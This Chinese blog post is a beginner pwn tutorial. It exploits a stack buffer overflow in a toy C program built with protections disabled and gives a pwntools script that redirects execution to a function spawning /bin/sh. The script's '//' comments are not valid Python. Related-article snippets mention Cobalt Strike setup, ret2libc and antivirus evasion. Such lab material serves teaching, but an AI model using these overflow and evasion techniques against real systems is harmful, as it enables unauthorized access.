一个简单的pwn例子---read函数

内容:

#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0, str, 0x50);
}
int main()
{func();return 0;
}

我们要做的是利用溢出执行exploit函数

分析:
先执行func函数,func函数里有个read函数,read函数会读取我们在屏幕上输入的内容,但不会检查内容的多少,全部复制到str里,但str只能存取20个,如果超出这个值,会造成溢出,我们利用溢出,将ret的返回地址改为exlpoit的地址就可以取执行exploit函数了。

首先,把保护机制关了

gcc -no-pie -fno-stack-protector -z execstack -m32 -g -o  11.exe read.c

在这里插入图片描述
gdb运行调试

gdb 11.exe
start

在这里插入图片描述
找到exlpoit的首地址:0x804843b
在这里插入图片描述
查看main的反汇编:
在这里插入图片描述
调用func函数后,回来执行mov eax,0x0

我们再查看func的反汇编
在这里插入图片描述
执行ret语句后就去执行mov eax,0x0,func函数调用了read函数,我们要利用read函数产生溢出,让执行ret完去执行exploit函数。这个时候我们看看栈内容。
push ebp之前,esp的内容是mov eax,0x0的eip值,lea eax,[ebp-0x28] 是read读取内容的首地址,所以我们让执行ret完去执行exploit函数,只需让exploit的地址去覆盖栈里面mov eax,0x0的eip值,从ebp-0x28mov eax,0x0的eip值,地址相差0x28+0x4,因为在func函数里先push 了edp,所以还要加上0x4。

利用程序:

from pwn import *
p=process('./11.exe')   //文件路径
offset = 0x28+0x4
payload ='a'*offset+p32(0x804843b) //0x804843b是exploit首地址
p.sendline(payload)
p.interactive()

运行,成功获得权限
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380196.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

万网与阿里巴巴业务关系图解

阿里巴巴在港上市公司今天发布公告称&#xff0c;计划分拆旗下中国万网赴美上市。那么万网与阿里巴巴其它业务是怎样个关系&#xff1f;且看我们分析。 随着传统企业大面积地转向互联网经营&#xff0c;用电子商务来服务客户&#xff0c;它们面临的第一个问题就是建站。针对这一…

cobalt strick 4.0 系列教程(4)---监听器和基础设施管理

0x01 概述 任何行动的第一步都是建立基础设施。就 Cobalt Strike 而言&#xff0c;基础设施由一个或多个团队服务器、重定向器以及指向你的团队服务器和重定向器的 DNS 记录组成。一旦团队服务器启动并运行&#xff0c;你将需要连接到它并将其配置为接收来自受害系统的连接。监…

【竞赛题解】Codeforces Round #710 (Div. 3)

B. Partial Replacement 题意&#xff1a;有字符串由.和*组成&#xff0c;可标记其中*&#xff0c;首尾的*必须被标记&#xff0c;使被标记的*之间距离不超过k&#xff0c;求最少的标记量 思路&#xff1a;首先从首尾出发确定首尾*的位置&#xff0c;再由首beg出发向后的k个元…

基于RBAC模型的通用企业权限管理系统

1. 为什么我们需要基于RBAC模型的通用企业权限管理系统 管理信息系统是一个复杂的人机交互系统&#xff0c;其中每个具体环节都可能受到安全威胁。构建强健的权限管理系统&#xff0c;保证管理信息系统的安全性是十分重要的。权限管理系统是管理信息系统中代码重用性最高的模块…

密码学加密算法分类_密码学中的国际数据加密算法(IDEA)

密码学加密算法分类Introduction 介绍 International Data Encryption Algorithm (IDEA) is a type of cryptography as a block cipher algorithm designed by "Xuejia Lai" and "James L.Massey" of ETH-Zrich and was first published in the 1991 yea…

如何定位溢出点位置

程序&#xff1a; #include <stdio.h> void exploit() {system("/bin/sh"); } void func() {char str[20];read(0,str,50);printf("the str is:%s\n",str); } int main() {func();return 0; }关掉保护机制&#xff1a; gcc -no-pie -fno-stack-pro…

【竞赛题解】2021年广东工业大学第十五届文远知行杯程序设计竞赛(同步赛)

B 找山坡 题意&#xff1a;在数组中找到两相等元素相距最大的距离且这两元素间的元素都不小于该两端值 思路&#xff1a;采用单调栈 例如&#xff1a;a[] { 2 3 5 4 6 3 }&#xff0c;栈内存储元素的坐标&#xff08;从1开始&#xff09;&#xff0c;便于计算距离 首先将a[…

操作系统中的处理机调度调度_操作系统中的流程分类和调度

操作系统中的处理机调度调度处理 (Process) In the operating system, there are numerous task and application program run simultaneously. A program is stored in the hard disk or any other form of secondary storage. When the program is executed it must be loade…

NX机制及绕过策略-ret2libc

程序&#xff1a; 1.c #include <stdio.h> void exploit() {system("/bin/sh"); } void func() {char str[0x20];read(0,str,0x50); } int main() {func();return 0; }0x01 NX介绍 溢出攻击的本质在于冯诺依曼计算机模型对数据和代码没有明确区分这一先天性缺…

【竞赛题解】第22次CCF计算机软件能力认证 B

今天&#xff08;准确说是昨天&#xff0c;一下子就过12点了&#xff09;下午刚参加了CSP认证考试&#xff0c;大概是考了220&#xff08;前两题AC&#xff0c;第三题太折磨了懒得看了&#xff0c;后面两题各混了10分&#xff09;&#xff0c;唯一有点参与感的就是B题了&#x…

gbd调试64位程序关键

程序&#xff1a; 4.c&#xff1a; #include<stdio.h> void exploit() {system("/bin/sh"); } void main() {char buf[20];gets(buf); }编译&#xff1a; gcc -no-pie -fno-stack-protector -m64 -o 4.exe 4.cNX保护&#xff0c;栈数据不可执行 使用命令&…

fcfs调度算法_FCFS:先来先服务调度算法

fcfs调度算法The FCFS, which stands for First Come First Serve Scheduling Algorithm, is a non-preemptive scheduling algorithm, which means that if a process once starts executing in the processor, then it cannot be preempted in between the processing. Thus,…

nhibernate学习之三级联(Ternary Associations)篇

1) 学习目标通过进一步学习Nhibernate基础知识&#xff0c;掌握用Nhiberate实现对级联的支持&#xff0c;通过一个简单的用户角色权限系统来体验nhibernate对级联的强大支持。2&#xff09;开发环境和必要准备 开发环境为:windows 2003,Visual studio .Net 2005,Sql server 200…

【竞赛题解】Codeforces Round #715 (Div. 2) C

C. The Sports Festival 题意&#xff1a;对于给定的整型数组aaa&#xff0c;每次选择其中一个元素aia_iai​&#xff08;不能重复选择同一元素&#xff09;&#xff0c;每次计算已选择的元素的极差&#xff08;最大元素减最小元素的差&#xff09;&#xff0c;输出最后极差和…

C和汇编---sizeof运算符和strlen函数

sizeof sizeof是C语言的内置运算符&#xff0c;以字节为单位给出指定类型的大小。 程序&#xff1a; #include <stdio.h>int main(void) {int a8;int b sizeof(a);//printf("a占用字节%u\n",sizeof(a));printf("a占用字节%d\n",b);return 0; }反汇…

[原]Asp.net替换不同版本的Dll文件碰到的问题以及解决办法.

情景还原: 今天一个朋友说网站不能上传图片,我检查后发现一直卡住在上传页面,一直滚动,是个Fckeditor控件2.6.3的. 经过google以后得到的结论是图片上传成功,但是没有返回结果,在服务器上可以看到上传的图片. 说明是上传控件有问题,程序不能返回结果. 再google以后发现有人已经…

【桶】220.存在重复元素 III 【LeetCode】

220.存在重复元素 III 【LeetCode】 给你一个整数数组 nums 和两个整数 k 和 t。请你判断是否存在 两个不同下标i和j&#xff0c;使得 abs(nums[i] - nums[j]) < t&#xff0c;同时又满足 abs(i - j) < k。 如果存在则返回 true&#xff0c;不存在返回 false。 示例 1…

远控免杀专题12--Green-Hat-Suite免杀

0x01 免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…

远控免杀专题 13----zirikatu免杀

0x01 免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…

UML 的九种模型图

1. UML的模型图 UML 的模型图能够将被建模的系统的某一个方面的某一部分以图形的方式表示出来&#xff0c;不同的视图通过将多个不同的模型图有机组合在一起就能够描述系统模型的某方面的特征。UML的模型图是有模型元素构成的&#xff0c;模型元素以图标的形式直观形象的表达…